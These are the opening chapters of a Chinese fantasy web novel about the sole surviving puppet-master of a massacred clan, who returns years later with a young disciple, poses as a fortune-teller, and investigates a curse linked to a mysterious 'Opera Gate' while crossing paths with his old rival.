《落魄后被宿敌捡回去当道侣》
1. 戏门有诡
首发晋江文学城
古谌/文
2025.11.3
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楼砚霄手中的傀线被人斩断时仍是不可置信。
他抬头看向族中的长老,艰难地吐出一句话:“……为何斩我傀线?”
“你本就不该出生,如今斩你傀线,断你气运,不过是救你一命,省得日后给我族召来杀身之祸。”长老捋了捋长胡,沉着声音说道。
闻言,楼砚霄讥讽地笑了。
“如今傀儡师一族没落,我虽不至天纵奇才,但至少也能与当今小辈中最负盛名的清厌一较高下……呵,如今傀线一断,命数已定,这傀师谁爱当当罢!”楼砚霄平静地说,眼眶周围却漫上了一层绯红。
“楼砚霄!”长老呵斥道。
“你们想要我的气运尽管拿去,拿去之后我竟不知你们还能翻起什么风浪!傀术本是诡道,我自幼入局学习傀术,青面獠牙面具一戴就是十六年,唯有夜半红月现方可摘下……诡道数载窥天机,我自诩没有任何对不起百木傀师一族的地方,今日着实令我刮目相看。”楼砚霄死死盯着他,斩断的傀线失了气运,指尖的血顺着傀线滴滴答答落下,滴在地下开出一朵艳丽至极的花。
很快,滴落的血珠交汇在一起,形成了一个奇怪的符号。最后一滴血融合时,爆发出了强大的气运,击退了年过半百的老人。
老人看到地上出现黑色异光的符咒,脸色瞬间变了,大喝:“你疯了?!以血侍傀,不要命了吗?!”
“你都斩断我的傀线了,我还要什么命!我的气运也被你打断了,我如今就是一个废人,反正都是烂命一条,不如看看谁先死!”
话语刚落,数十个血傀出现在他身后,面若呆滞,瞳孔无珠,额间画着黑色的半月符号,眼睛里流出两行血痕,一眼望去触目惊心。
长老还想说话,下一刻青黑的手贯穿他的胸膛,他僵硬地低头望去,那只手上画满了符咒,密密麻麻排布在一起,沾上血的那一刻,符咒像是活了过来,泛着刺目的红光,映亮了他眼底的恐惧。
——这些血傀是戏门的傀儡。
他想抬头看楼砚霄,然而任凭他怎么努力,他的头只能保持朝下的姿势,静静地看着血傀将他的血吸干。
他甚至说不出一句话来。
直到那只手抽出,他才有了喘息,濒死前说出最后一句话。
“你进了……戏门。”
传闻戏门有诡,可以满足世人所有的愿望。
百木傀师一族之所以能在修真界陨落后迅速崛起,离不开诡,他们的先祖也在成业之后发誓,傀师一族乃至后代终生不得进戏门。
若是进了戏门,傀师一族自此灭族,气运消散。
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楼砚霄怔怔看着自己沾满血的手,从那双手中看到了自己从小生长的地方被血傀闯入,满堂的老幼妇孺被一只只血手吸干了气运,甚至看到了自小与他一同长大的好友被血手掰断头颅,睁大眼睛看向他。
楼砚霄心里泛起一阵心悸,两行清泪落下。
“不——”
不要!
满手的傀线还在滴着血,落在地上又形成了新的符咒,一批又一批的血傀出现在符咒上,闯进傀师世代居住的地方,肆意虐杀傀师。
眼中满堂血色,火光冲天,可他甚至连放下手都能以做到,只能眼睁睁看着他们惨死。
“……我杀人了。”
“我没有进戏门。”
他喃喃地说出这两句话,以为有人能听到他的声音,然而他抬头望去,只有风声在耳边呼啸。
起风了。
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>妄虚峰的峰顶有着常年不化的积雪,居住在妄虚峰上的人也在山巅处安置了一处亭子避风,落名妄虚。
此时的妄虚亭里坐着一位白衣少年,他衣袖轻提,修长的手指不紧不慢拨动琴弦,传出一声声悠扬的琴声。
须臾,不远处出现了一个身影,他快步走至亭前,拱手道:“少峰主。”
少年道:“今夜妄虚峰似乎有些热闹,是出什么事了吗?”
那人看了眼少年,欲言又止。
察觉到接下来可能不是什么好事,少年眉头轻蹙,“但说无妨。”
“百木傀师一族发生突变,世族百家赶到时,只剩满地残骸。”
话音未落,便听到一道奇怪的尖锐琴声,很快恢复了原样。
少年又问:“傀师一族的楼砚霄可还活着?”
“世族百家未曾发现他的尸体,但是据他们传来的消息,百木傀师一族无一人存活,只怕楼公子……”
“噔——”
那人抬眼看去,只见少年从小爱护至极的琴的琴弦断了,手指上还挂着琴弦割出来的血珠。
“少峰主!”
“无妨。”少年敛下眸子,看向断开的琴弦,心里泛起不清不楚的意味。
楼砚霄,你是真的死还是假的死?
他从袖中拿出一个锦囊,打开看到了两撮头发整整齐齐地放在一起,锦囊外还绣着奇丑无比的飞鹤,看起来就是家里豢养的鸭子,绣的人偏偏说是飞鹤。
想到这儿,他笑了声。
然而没笑多久,却吐出一口血。
再抬头时,他看到了一扇门。
门上写着二字。
戏门。
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“我倚楼中见天霄,窥得戏门诡中诡。天霄不见戏门运,原是妄虚已成峰。”——楼砚霄
2. 春堂遇诡
十五年后。
天霄一百七十年,三月初七。
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妄虚峰下有一处小镇,名唤春堂,取至“春鱼游遍春水,春鸟啼遍春堂”。与常年积雪的山巅不同,春堂镇一年四季如春,气温宜人。
这天,清风和日,一个穿着破旧长袍的男子提着一壶酒走进了春堂镇,他的身旁还跟着一个有他人半高的少年,同样穿的破烂,背着一个有人半高的包袱,从背后望去,只见其腿不见其头,活像一个大包袱长了灵智,生了双腿,吭哧吭哧走在街上。
正午日头正高,少年走的有些累了,用袖子抹了抹额头浸出的汗珠,问一旁喝酒的男人:“师父,咱们还要走多久才到妄虚峰?”
男子仰头倒了倒酒,只倒出几滴,失望地放下酒壶,道:“急什么,春堂镇在妄虚峰山脚,山脚都到了,山顶还会远吗?”①
他又接着道:“事到如今,不若先去买一壶酒。”
闻言,少年翻了个白眼,没好气道:“师父,这个月你都喝了几壶酒了,再喝下去莫不是要成酒鬼?更何况,如今我们银两也所剩无几,你再拿剩下的银两去买酒,今夜我们岂不是要露宿街头?”
男子随意道:“怕甚,你师父我就算是没酒喝,也不会让你没地方住。”
少年反驳道:“师父,这个月我们几乎每日都住在寺庙。”
楼砚霄语噎:“……”
寺庙怎么就不算地方了?
他睨了少年一眼,冷嗖嗖道:“这么快嫌弃我,当初为何还要死要活跟着我?”
“师父,若不是当初你救下我,我可能要葬身那些鬼怪腹中。”少年道,“我阿爹阿娘都死了……”
楼砚霄最是听不得这些。
自从十五年前百木傀师一族出事后,他便离开了百木四处游历,他的行踪隐藏的很好,无人知道他还活着。
本以为自己能过浪荡混账地过完此生,偏偏在两年前路过秦家庄时,遇上了诡变,消失了十三年的血傀再次出现。
这些血傀楼砚霄自然认识,也深知他们的厉害,断不可能再让他们害人。但是他拼尽全力也只救下了秦家幼子,也就是如今跟着他的少年秦启。
救下秦启后,原以为此事就此作罢,可再与少年相处的两日后,在一个夜间蓦然发现少年的额间出现了熟悉的黑色半月画符,睁开的眼睛也是红色的,像极了他十三年前遇到的无眼血傀。
这是诡变的前兆,一旦发生诡变,就会变成血傀。
那日秦家人便是如此,一个个化身血傀,将其他族人吞噬,变成新的血傀,再重新弄去寻找未发生诡变的族人。
事后,楼砚霄本想询问秦启是否愿意跟着他去游历,然,翌日一早,秦启醒来的那一刻便抱着他哭,哽咽说道自己变成了一个活死人,还看到了一个称作戏门的东西。
楼砚霄当即明白,这位名叫秦启的少年或许是戏门的缘中人。
这世间能看到戏门的,除了与之息息相关的百木傀师一族,剩下的便是与戏门有关的缘中人。缘中人,顾名思义即有缘,至于缘好缘坏,那便看戏门如何动作。
看秦家庄惨案,这名少年便是缘坏。
为了救下少年,他将少年收作弟子,传授他百木傀师的技艺,成为一名傀师。
这也是百木傀师灭族后唯一传人。
-
楼砚霄把酒壶挂回腰间,扯着秦启走进一家客栈,对着掌柜道:“来两间上等房。”
“五十两银子。”
掌柜的瞧见进来的人虽然穿着破烂,但是开口却是要了上等房,心里不由得一喜。
楼砚霄听到这个价格当即变了脸色,看向一旁的秦启,后者察觉到他的眼色,指了指包袱,而后摇了摇头。
楼砚霄看向掌柜,咳了声,“掌柜的,五十两银子是不是太贵了些?”
掌柜:“我们客栈可是在妄虚峰下,妄虚峰的名头在江湖上那可是响当当的,况且,不日妄虚峰便会开学,五湖四海求学的学子一来,我这房价可不止五十两银子。”
“可是……”楼砚霄迟疑道,他们可没有多余的银子。
掌柜抬眼一瞧楼砚霄犯难的模样,又瞧了眼背着个大包袱的秦启,结合两人如出一辙的破烂衣裳,当即明白了什么。
他放下算盘,冷笑道:“瞧着一副穷酸样,没钱也敢来住客栈,你们当真是活的不耐烦了!”
“小二,把他们赶出去!”
闻言,楼砚霄皱了皱眉,想要说些什么。不等他开口,就被两个膀大腰圆的店小二抬了出去。
楼砚霄:“……?”
现在的客栈都这般蛮横无理了吗?
出了客栈门,就被扔在地上,周围路过的人见怪不怪地瞧了他一眼。
有嘴碎的甚至小声道:“这个月第三次了,真不知道来春堂镇的人咋想,这福音客栈岂是普通人能住?笑话。”
与她闲聊的一人道:“那可不是,上次来了个衣冠楚楚的小少年,身边带着两个傀儡,结果一进店就被扔了出来。这事闹的可不小,那两个傀儡差点把客栈给砸了,后来又来了一位白衣仙人方才平息。”
“你可小声些,百木傀师自十五年前就被灭族了,这世间哪来的傀儡,莫要被妄虚峰上的那位听去了。”
……
两人说话的声音不大,但楼砚霄听的一清二楚,在谈到带有傀儡的少年以及白衣仙人,他的思绪明显飘散,很久才缓过神来。
他快速起身,拍了拍衣袖上的尘土,喊了声被人群淹没的秦启:“乖徒儿,走了。”
好容易挤开人群与秦启碰面,低头一看,没被扔出来的秦启神色竟是比自己还委屈。
楼砚霄笑了声:“哭什么,不就是一间房,我带你去挣钱。”
秦启:“可是师父,我们是诡道,上不得台面的东西如何挣钱?”
“傀师怎么就算是上不得台面了?”
楼砚霄被小孩的想法气笑了,他屈起手指弹了弹小孩的脑门,道:“你接触傀术不长,不懂很正常,我们虽称诡道,但是道道相通。我在你这个年岁,早就跟着家族的人去江湖上游历了。”
秦启立马来了兴致,道:“那师父,你都去过什么地方?”
楼砚霄指了指天。
秦启抬头望去,只有高挂的日头,什么也没有,当即撇着嘴道:“师父,你曾经升过天?”
楼砚霄无言以对,要不是他知道这小孩命格不简单,他都要以为是专门来克他的。
简直就是倒反天罡!
楼砚霄没好气道:“你现在本事愈发大了,我要是升过天,你这辈子连见到我的机会都没有!我指的天上,是妄虚峰!”
“妄虚峰不是一座山吗?为何不见山,而称天上?”秦启好奇道。
虽说春堂镇在妄虚峰的山脚,可从他们进山起,就没有见过一座山。
楼砚霄摇了摇头,“非也,非也,日前我们走上来的山路是普通的山路,只有过了春堂镇,再往深处走才是妄虚峰真正的山路。”
“当然,此山路非彼山路,你现在所看到的是真的妄虚峰,但也是假的妄虚峰,这在我们诡道里,称为天霄。”
秦启懵懵懂懂地问:“天霄是何意?”
楼砚霄扯着他往前走,老神在在道:“等日后你道成了,自会知道什么是天霄。”
也会知道什么是戏门。
“师父,那我们现在去哪?”
“挣银子。”
-
半个时辰后,秦启一脸麻木地看着路过的百姓。
楼砚霄不知道上哪儿找了个蒲团,此刻正舒舒服服地坐在上面,瞧见一旁秦启的脸色,当即踹了他一脚。
极为懒惰道:“做生意,面对客人应当以笑脸相迎,你摆着一副苦瓜脸,谁还敢来?我瞧秦家也是个商贾,怎么就生了你这么个不懂事的。”
秦启哑口无言,看向一旁高挂的横幅,表情木然。
横幅上写着——“天下第一算”。
过了许久,才响起秦启闷闷的声音:“师父,你又骗人。”
“这如何又是骗?”楼砚霄从包袱里翻出一把蒲扇扔给他,“你如今是道童,伺候好点。”
秦启:“……”
他余光注意到包袱里的一团黑,幽幽道:“师父,胡子你忘记戴了。”
闻言,楼砚霄方才恍然,继续低头翻包袱,贴上用了许久被压的不成样子的胡子。
贴完看向秦启,道:“切记万不可露馅。”
早已习惯楼砚霄这副扮相的秦启点了点头,心道:不
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知道哪个冤大头又要中他师父的圈套。
两人在街边坐了许久,久到楼砚霄趴在堆叠起来的桌子上酣然入梦,被一记骤然的力道猛烈摇醒。
“又有何事?”楼砚霄还没睁开眼睛,率先问道。
然而没等到秦启的应声,蓦然听到一道常年身处寒地却不失格调的泠泠嗓音,听在耳里仿若驱散了春三月的燥热。
“你好,算命。”
楼砚霄表情有一丝怔愣,但很快恢复原样,模仿江湖上那些算命的老先生道:“不知公子算哪方面的命?”
此时的他已然清明,抬头望去也只能看见对面的人带着斗笠,放下的一层白纱,只隐隐约约能看见殷红的薄唇。
那人道:“算姻缘。”
“公子近日可是要求娶姑娘?”楼砚霄盯着放到眼前的手,是一双修养极好的手,虎口处有些薄茧,俨然是握剑造成的。
“不是,我心悦之人在十五年前就死了。”
楼砚霄嘴快道:“节哀。”
那人轻轻勾唇,又道:“不过近日梦里繁多,许是他回来了。”
“她没死?”楼砚霄惊掉了下颚。
“也不无可能。”那人抬起眼,隔着白纱盯着眼前的人,心口疼的厉害,但仍旧不动声色道:“不若先生帮我算算,他在哪里?”
“公子你莫不是在说笑,你也知我们这行最忌讳泄露天机,我若是算出来她在哪,也不能告诉你啊。”楼砚霄为难道。
他虽是算命,但也不是真的算命师,从别处偷来的功夫,算不得精湛。
那人收回手,起身,放下一个锦囊,“劳烦先生了。”
说完,头也不回地走了。
此时,一旁的秦启奇怪道:“师父,你到底算出来没有?”
楼砚霄抹了把额头上的汗,瞪了他一眼,“笑话,你师父我要是能算出来还用他问!”
秦启一脸“我就知道如此”的表情。
楼砚霄想起刚才那个人与自己记忆中的人极度相似,开口想要提醒,他的对面又坐下了一个中年人。
“先生,你们这儿算命准不准?”
楼砚霄收回了思绪,道:“童叟无欺,若是不准你日后还可以来找我。”
“好嘞,那您可否帮我算个气运?我们家就是一个普普通通的人家,前些日子家里的侄儿跟着我大哥出去一趟,回来就跟变了个人似的,整日待在家里也不出门,一问就说是在练气运,练成之后上妄虚峰求学。”中年人道,“妄虚峰哪是我们这等普通人家能去的。”
闻言,楼砚霄脸色变得有些凝重,问道:“能否问一下家里除了侄儿的异常,可还有其他异常?”
中年人道:“先生您还是真说对了,侄儿回来之后,家里的老人便生起了病,卧在床榻喊着眼睛疼,特别是到了晚上,总是能听到门开关的声音,还隐隐有凄厉的叫声。”
“我寻思着要出门瞧瞧,然而一开门什么也没有,一回到房中,便看到妻子惊醒,与我说道刚才有人在掐她,可我分明就在屋外,谁会去掐她?”
楼砚霄心里隐隐有了猜测,对他道:“闭上眼睛。”
秦启道:“师父,你这是……”
“不要说话。”
“我现在传授你傀师的探诡术,好好学。”楼砚霄语气沉重道。
他看向对面的中年人,咬破指尖在眉心划了一下,闭上眼睛。下一刻,眉心竟出现了一枚红色的弯月,他的眼睛也变成了鲜血的颜色。
“天眼开!”
楼砚霄睁开眼睛的刹那,看到了中年人周围缠绕着数不尽的黑气,眉心更是出现了一个若隐若现的熟悉符号。
黑气察觉有人在看他们,立即朝着窥视的方向攻击而来。
楼砚霄快速闭上眼睛,仅仅过了一息,他整个人承受不住地吐出一口血,那枚弯月也随之消失。
“师父!”秦启不知道师父看到了什么,手忙脚乱地为师父擦去血。
楼砚霄嫌弃地看了眼他手里黑的跟块炭似的锦帕,分明记得这块锦帕上次刚被他拿来擦桌子。
至于为什么是擦桌子,这又是一个难以启齿的往事。
擦干净血迹后,秦启问道:“师父,你看到了什么?”
楼砚霄平静地吐出两个字:“诡变。”
3. 夜有邀约
诡变一词对秦启来说并不陌生。
在秦家庄出事后,楼砚霄告知他家中出现灭门,即为诡变导致。
这两年他与楼砚霄行走多地,探寻四方,极少听到有关诡变的消息,就算是听闻,但匆匆赶到时也是诡变发生后的荒凉之景。
而发生诡变之后,所有人都消失了,就好似从未存在于这片天地。
当年的秦家庄便是如此。
秦启看向楼砚霄,道:“师父,如今我们怎么办?”
楼砚霄沉声道:“我们要和他走上一趟了。”
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须臾,中年人睁开眼,焦急问道:“先生,结果如何?”
楼砚霄已然恢复正常神色,捋了捋不成看的胡子,道:“不必惊慌,我从你的命门中看出了此事非同寻常,恐有大劫。”
听到“大劫”二字,中年人瞬间变了脸色,惶恐道:“可是有性命危机?”
楼砚霄微微颔首。
“先生,可有解法?”中年人面如死灰道,“我们家虽不至家大业大,但族中人口不少,若是由着一个人害了整个家族岂还得了。”
楼砚霄听出了一丝不同寻常,赶忙问道:“敢问阁下是哪家人?”
中年人道:“不瞒先生说,我们是清平柳家人,不过早些年祖上分家,我们跟着先祖来到了春堂定居,如今早已与清平那边失了联系。”
“清平柳家……”楼砚霄若有所思道。
见状,秦启问道:“师父,可是也与清平有关?”
楼砚霄摇头,“不甚清楚。”
言罢,又对中年人道:“今日我与我徒弟去瞧瞧,你切勿将此事告知他人,特别是你那侄儿。”
中年人宛如抓住了救命稻草,感激道:“多谢先生。多谢先生。”
“无事。”
楼砚霄又道:“你家侄儿得了气运一事,为何不上妄虚峰找人来瞧瞧?”
在他年少时,妄虚峰的名气在大陆上是最盛的。不仅是对方对非世家者的包容程度高,更是因为妄虚峰出了一位天才,年仅十三便问鼎苍崖榜,成为小辈中当之无愧的第一人。
楼砚霄曾与此人交过手,就算是他精通傀术,在此人面前仍旧毫无还手之力,甚至被打的节节败退。
按理说,妄虚峰有名有人,对山脚下的事应当不会不管。
可是为何还会让一个早与家族断了联系的人来寻求算命先生的帮助?
还是一个早已没了气运的人家。
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就在楼砚霄百思不得其解时,中年人开口道:“先生有所不知,妄虚峰主自五年前离世后,便由其子亲自代掌,但我听闻如今的妄虚峰主在十五年前心上人离世后,性情变得阴晴不定,整个人也不出门会客,对妄虚峰上的事也不管不问,这该如何去问?”
楼砚霄:“……”
他们所认识的清厌是同一个人吗?
清厌虽然性子冷,但也不至于对自家的事不闻不问,更何况这是妄虚峰,不是其他地方。
等等……清厌那家伙何时有了心上人?
楼砚霄年少时曾上妄虚峰求学,对清厌本人自然也是了解不少,平日里就没瞧见靠近谁,孤僻的独来独往。要是自己不小心惹恼他,也不说话,就拿着剑要将他劈成两半丢下妄虚峰。
十五年过去,怎的就变了一个人?
瞧见楼砚霄迟迟不开口,中年人又道:“先生这是不信?”
楼砚霄意识清明了几分,笑道:“不是不信,只是着实太久没听到妄虚峰的消息,一时恍惚原来距我上次来妄虚峰已是十几年前了。”
“先生竟还去过妄虚峰!”中年人惊道。
“受人邀约,来妄虚求学,不过性子顽劣,很快便被峰主遣回家了。”楼砚霄淡声道。
“先生还真是个性独特。”
楼砚霄又笑了声:“年少不懂事,给族里添了不少麻烦。”
当年被遣回百木,还被族人笑话了许久,族中长老更是恨铁不成钢地瞪他,试图让他有一丝被退学的羞愧。偏偏楼砚霄看不出他的眼神,还以为长老眼抽筋了,大声提醒长老早些休息。
事后,好友与自己谈论才明白长老的意思,不过事已至此,楼砚霄也不好再说什么,只能不断跑去长老那儿,让他多休息。
去的日子多了,长老烦不胜烦,让守在门口的傀儡把他扔了出来,还明令禁止傀术练不到七层,不准再去他的院子。
好友得知此事,先是笑话他一顿,后担起了长老的责任,监督他练习傀术,那段日子楼砚霄苦不堪言,他本就不是个能安静坐下来的人,让他老老实实待着怎么可能。
于是,没过两日,他便逃学了,然而刚翻过墙头,就被长老逮到,拎着衣领继续回来学习。
回叙过往,想起旧事,楼砚霄心里忍不住叹了口气,若是当初并未发生那事,他如今也不必浪迹天涯了。
自十五年前开始,四海皆为家,终究也没一处是真正的家。
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闲聊不过两句,中年人便离开了。
离开前,他不动声色看了眼先前白衣人离开的方向,敛下眸中的冷意,快步离开。
楼砚霄指使秦启收了东西,往不远处的茶铺走去。
秦启边走边问道:“师父,我们何时去柳家?”
楼砚霄用袖子遮着太阳,闻声,不紧不慢道:“不急,天气炎热,你待会拿着银子将我的酒壶满上。”
“师父,你不是说不喝酒了吗?”秦启瞪了他一眼,控诉他说话不算话。
“我何时说我不喝酒?”楼砚霄在茶铺坐下,唤来小二倒茶,慢悠悠品了一口,“事要做,但酒也要喝。”
他放下茶杯,道:“刚在那人说的真假参半。”
秦启刚放下包袱就听到这句话,手顿了下。
楼砚霄又继续道:“他身上有两个疑点,一是清平柳家的身份,清平柳家在大陆上也是世家大族,少年时我也曾去过清平,并未听说他们家还有分支,就算是有分支,也不会选在距离清平半个大陆的妄虚。”
“第二则是妄虚峰。春堂镇坐落于妄虚峰山脚,镇上人有事相求,他们不会管不顾;不仅如此,先前来的那位公子正是如今的妄虚峰峰主,他既然知道妄虚峰峰主,为何不寻求峰主帮助而是来找我们这算不上正统的算命?前言不搭后语,或许诡变是真的,但是诡变的缘由和目的或许是假的。”
秦启明白了前因后果,问道:“师父,他为什么要这么做?”
“自然是诡变。”
戏门一开,似人非人。
眼睛所见不一定是真,但也不一定是假。
楼砚霄目光往街上的百姓一掠,沉声道:“我瞧这镇上的人,印堂发黑,命数已尽,唯恐不久将有一场浩劫。”
秦启道:“……师父,是整个镇上的人?”
闻言,楼砚霄颔首。
“没有改变的法子?”
楼砚霄瞧了眼秦启,后者正是藏不住事的年纪,心里的情绪也放到了脸上。
他摇了摇头,无奈道:“法子有是有,只不过……待到今夜我们去了柳家再做定夺。”
秦启又问道:“为何是今夜?”
“还能如何,夜半有鬼,去即捉之。我们若是去的早,那鬼必定会躲起来,他若是躲起来,我们少不了要耗费一些时日再去寻他。”楼砚霄看向他道,“你如今
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刚入门道,不懂正常,进妄虚后好好学习。”
秦启纳闷起来,“师父,为何我一定要去妄虚学习,不能跟着你学?”
楼砚霄手指把玩着茶杯,慢悠悠品茶,道:“我能教你的只有皮毛,若是想要将自己的命保下来,这趟妄虚你非去不可。你也不必担心,我与妄虚峰主是旧识,就算你资质再如何不济,我也会让你进妄虚的。”
“师父,你为何不去?”
楼砚霄疑惑道:“我去做甚?”
秦启解释道:“师父,你当年被遣回家,就没有想过再回妄虚?如今妄虚求学在即,这么好的机会你难道要放弃?”
楼砚霄听到这副荒唐话,生生气笑了。
他要是想回妄虚,就算是当年的妄虚峰主来,也拦不住他。
妄虚有个清厌就够呛了,好不容易能回百木,说什么也不可能回妄虚。
妄虚就不是人能待的地方。
楼砚霄道:“莫想诓我,妄虚求学,狗都不去。”
秦启:“……师父,你是不是忘记了,你在妄虚求过学。”
“那又如何。”
秦启小声道:“那这么说你不就是狗吗?”
楼砚霄喝茶的动作一顿。
须臾,他咬着牙道:“是不是皮痒了找打?”
秦启立马求饶道:“师父,您大人有大量,刚才那句话是诡说的。”
楼砚霄:“……”
你以为我会信吗?
楼砚霄愤愤喝了几口茶,命秦启去把茶钱付了,后拉着人走进了福音客栈,将一锭银子砸在桌上。
掌柜低着头算账,人还未到,便先察觉到一股不同寻常的风吹来,抬头一看,竟是原先被扔出客栈的两人,脸色当即变得难看起来,张口就想要唤来店小二。
楼砚霄赶忙阻止他,示意他看向桌上的银子,傲气十足道:“两间客房。”
一旁的秦启瞥过眼不去看自家师父。
楼砚霄挺直了腰杆,脖子也伸的老长,活像斗赢的公鸡,得意洋洋地看向掌柜。
掌柜心里暗骂了声,将银子收下,“二楼最里间。”
楼砚霄临走前挑衅地看了眼掌柜,给后者气的牙痒痒。心道不妙的秦启当即把自家师父拉走了。
到了房门,楼砚霄停下了脚步,道:“今夜子时,出春堂镇三里,把他们唤来。”
“切记我给你的傀线,不到危机时刻,不要扯线上的铃铛。”
秦启应道。
-
过子时一刻,楼砚霄睁开眼。
翻出一个穷奇鬼面戴上,从客栈的窗口翻了出去。
子时的春堂镇一派安静和宁,长街寂寥,黯影绰绰,唯有打更人提着灯笼挨家挨户地走着。楼砚霄看了长街一眼,将身影隐匿于阴影中,离开了春堂镇。
“子时三更,平安无事。”
打更人走完长街,整了整衣裳,轻车熟路拐进一条小巷。
须臾,巷子里传来一道惨叫。
没过多久,空无一人的长街里出现了一个‘人’,他的半边脸凹陷下去,仔细一瞧,凹陷处隐隐有白骨透出,脸上的血肉竟是被利齿生生咬去。
此时,小镇的一个屋顶上,一个黑衣人收回了目光,快步在房顶上行走,消失在了夜色中。
他离开后,春堂镇的人都醒了。
-
楼砚霄来到白日里男子说的地方,还未靠近屋子便看到一个佝偻的身影站在庭院中,手里拿着扶老。
今夜无月,叫人看不清神情。
只隐约感觉,踏上庭院后,一双眼睛朝向他。
“你终于来了。”
“百木傀师。”
4. 庭院深深
楼砚霄看向那双眼睛,“你认识我?”
佝偻的身影慢慢走向他,用苍老的声音缓缓道:“百木傀师,谁人不识。你若不是百木傀师之人,又为何戴上穷奇鬼面?”
楼砚霄指了指脸上的面具,笑道:“你是说这个?这面具是我游历四方捡的,捡到的时候上面还有不少血,只可惜那是个荒凉之地,不然这样好的东西怎么会让我捡到。”
“那真是荒凉之地?”
身影离近了些,便瞧见一张饱经风霜的脸,楼砚霄定睛一看,是个已入垂暮之年的老妪,手里拿着扶老,蹒跚而来。
联想到白日里男子说的,楼砚霄当下便能确定眼前人即是家中生病的老人。
“夜黑风高,不知老人家这是要去哪?”楼砚霄正了正身形,不打算与她绕弯子,开口直言道。
老妪在距他四尺远的地方停下来,道:“不若我先问问你,夜间造访是何故?”
楼砚霄身形一顿,这话听着怎会如此熟悉?
灵光一闪,楼砚霄顿悟,这语调分明就是清平柳家人才会有的!
说起清平柳家,是楼砚霄此生除了妄虚峰最不想去的第二处地方。清平柳家的人瞧着温文尔雅,实际上族中规矩是大陆世家里最多的。
楼砚霄只去过一次,回到百木后发誓此生再也不会踏入清平柳家半步。
原因无他,着实是他在清平走个路都能被柳家人说走姿不正,步伐轻佻。
就连与人的距离也是把握的极好,不会过分亲昵,也不会过分疏远,像极了妄虚峰上某位不近人情的少峰主。
-
楼砚霄咳了声:“您有所不知,我夜半来访,是听闻您家有鬼前来抓鬼,不知可否让个道,我进去瞧瞧?”
老妪大怒,“荒谬!我这院子住了百年,哪来的鬼,年岁不大,本事倒是不小。”
“……我知道我本事小,但我瞧您这院子或许真的住了一只鬼。”楼砚霄缓声道,“白日里您家里人找上我,本是算命,我却瞧出了一丝不同寻常,若是我没猜错,您家应是清平柳家,我虽不知你们为何没了气运,但这鬼,你们应当是瞧的出来的。”
闻言,老妪脸色有些许缓和,但声音依旧很冷:“你既知道我是清平柳家人,为何还敢来?”
楼砚霄:“……”
他觉得此生还可以起个誓,那便是从此不与清平柳家人往来。
若不是知道此事与诡变有关,他就算是夜袭妄虚峰峰主住的天凌阁也不是来此处。三言两语,着实是让他无言以对,无话可说。
既知有鬼,屡问何来。
“我为何不敢来,你前言便道我终于来了,那你这院子我必定是要进的。”楼砚霄明了自己好声好语与她讲话,一通下来对面油盐不进,于是语气也强硬了起来,“你若是不肯,那我便硬闯。”
老妪看向他,道:“你且试试,是你飞的快,还是我的扶老快。”
“真当自己上了年纪还是年轻的时候。”楼砚霄运起功法,轻而易举地掠过她。在后者举起手里的扶老时,手疾眼快拦下。
瞧见他使的功法,老妪脸色一变,退开了几分,抬头看向他,“你是妄虚峰的人!”
楼砚霄整了整衣衫,“是,但也不是,看来你儿子并未告诉你,我是谁。”
“你这是何意?”
楼砚霄好整以暇道:“白日里,你家中有人来寻我,说家中小辈有了得了气运,但家中怪事频出,我掐指一算,只怕不久后有血光之灾。”
“胡言乱语!”老妪怒道。
“你既是清平柳家,那想必应该知道戏门,气运一事,与戏门有关。”楼砚霄瞧着她的脸色道,“而这在我们道中,又称为诡变。你若是不想让族中人受害,还请不要阻拦。”
“若是误了时辰,保不齐全族覆灭。”
老妪警惕道:“我如何能信你?”
“就凭我脸上这张面具。”楼砚霄点了点面具,虽然无月,但一双眼依旧明亮,“你可以不信我,但是百木傀师,你且信之。”
看到楼砚霄脸上的面具,她的意识有一丝恍惚,似乎从他身上看到了当年意气风发的百木傀师。
一想到十五年前的荒凉,神情也变得落寞起来。
老妪收了思绪,郑声道:“那我便信你。世人皆知戏门不可窥,我们早已与清平分家多年,也没了气运,不知戏门如何找上我们,你若是能看到戏门,还是小心为好。”
“谨遵长辈教诲。”
楼砚霄向她道了谢,进了庭院。
-
这户人家住的地方不大,但胜在族人多,院内分杂多个里间,格局大小一致。这让楼砚霄找男子的侄儿颇为费劲。
倏地,一抹白影从他面前飘过。
楼砚霄立马追了上去。
然而刚踏出五步,他蓦然察觉到一丝不同寻常,眼前有白光闪动,似乎是一根根难以察觉的细丝。
低下头一看,黑暗中满是细丝。
楼砚霄用手指轻轻一碰,瞧着不起眼的细丝锋利无比,轻而易举划破了手指,浸出几颗血珠。
看到此景,他当即明白这些细丝不是普通的线,而是傀线。
他抬起头看向远处,心道:谁会在此处布下如此多的傀线,若是常人没瞧见这些傀线,怕是要瞬间化为血水。
他拿出一把小刀,打算将这些傀线尽数毁去,然而刚切断一根傀线,便听到一道少年音怒气冲冲地响起:“你在作甚!”
楼砚霄扬了扬手里的小刀,无辜道:“如你所见。”
见状,少年更气了,愤愤走过来,“把你的刀拿开,我的傀线岂是你能断的。”
楼砚霄问道:“为何不能断?”
他上下打量了眼少年,又道:“我瞧你一身白衣,脾气怎的这般冲?”
“与你何干?”少年走到他两步外便停了下来,瞪他,“我乃是妄虚峰峰主亲传弟子,你是何人?”
闻言,楼砚霄神色一怔,问道:“小屁孩,你跟人见面都是将自己的名号说出来吗?”
眼前的少年一副骄纵样,俨然是被家里娇生惯养长大的,再说到“妄虚峰”三个字时,语气更是带着不可一世的得意。
听到楼砚霄叫自己小屁孩,少年顿时不乐意了,怒道:“叫谁小屁孩,我如今十岁有六!看你虽然穿着破烂,但至少是个识趣的,没想到思想竟是与你的衣着不相上下。”
莫名其妙被骂的楼砚霄:“……”
“谁教你这么看人的?”楼砚霄被这少年的话气笑了,“我听闻妄虚峰的亲传弟子皆是亲生,你今岁十六,那妄虚峰主岂不是十五岁就有了你?”
“不准骂我师父!”
楼砚霄加深了笑意:“你师父是什么金枝玉叶的人还不准我骂他,还妄虚峰亲传弟子,妄虚峰练的剑,我瞧你满手的傀线,傀术是诡道,你学这个对得起自己的师门吗?”
“你——你!”少年怒火中烧,将楼砚霄手里的小刀抢过来,又用傀线捆住他的手,不让他动弹,“满嘴荒唐的小人!我的傀术是师父手把手教的,岂是你一个外行人能懂!”
楼砚霄惊道:“你师父还会傀术?”
听出楼砚霄话里的惊诧,少年立即得意洋洋起来,说话的嗓门都大了些,“我师父的傀术可是天下第一绝。”
闻言,楼砚霄心里冷笑,当初自己无论自己使了多少法子让清厌学傀术,对方都是一副淡淡的模样,没想到百木傀师灭族后,自个竟然偷偷学起来,还天下第一绝,再绝也比不上他。
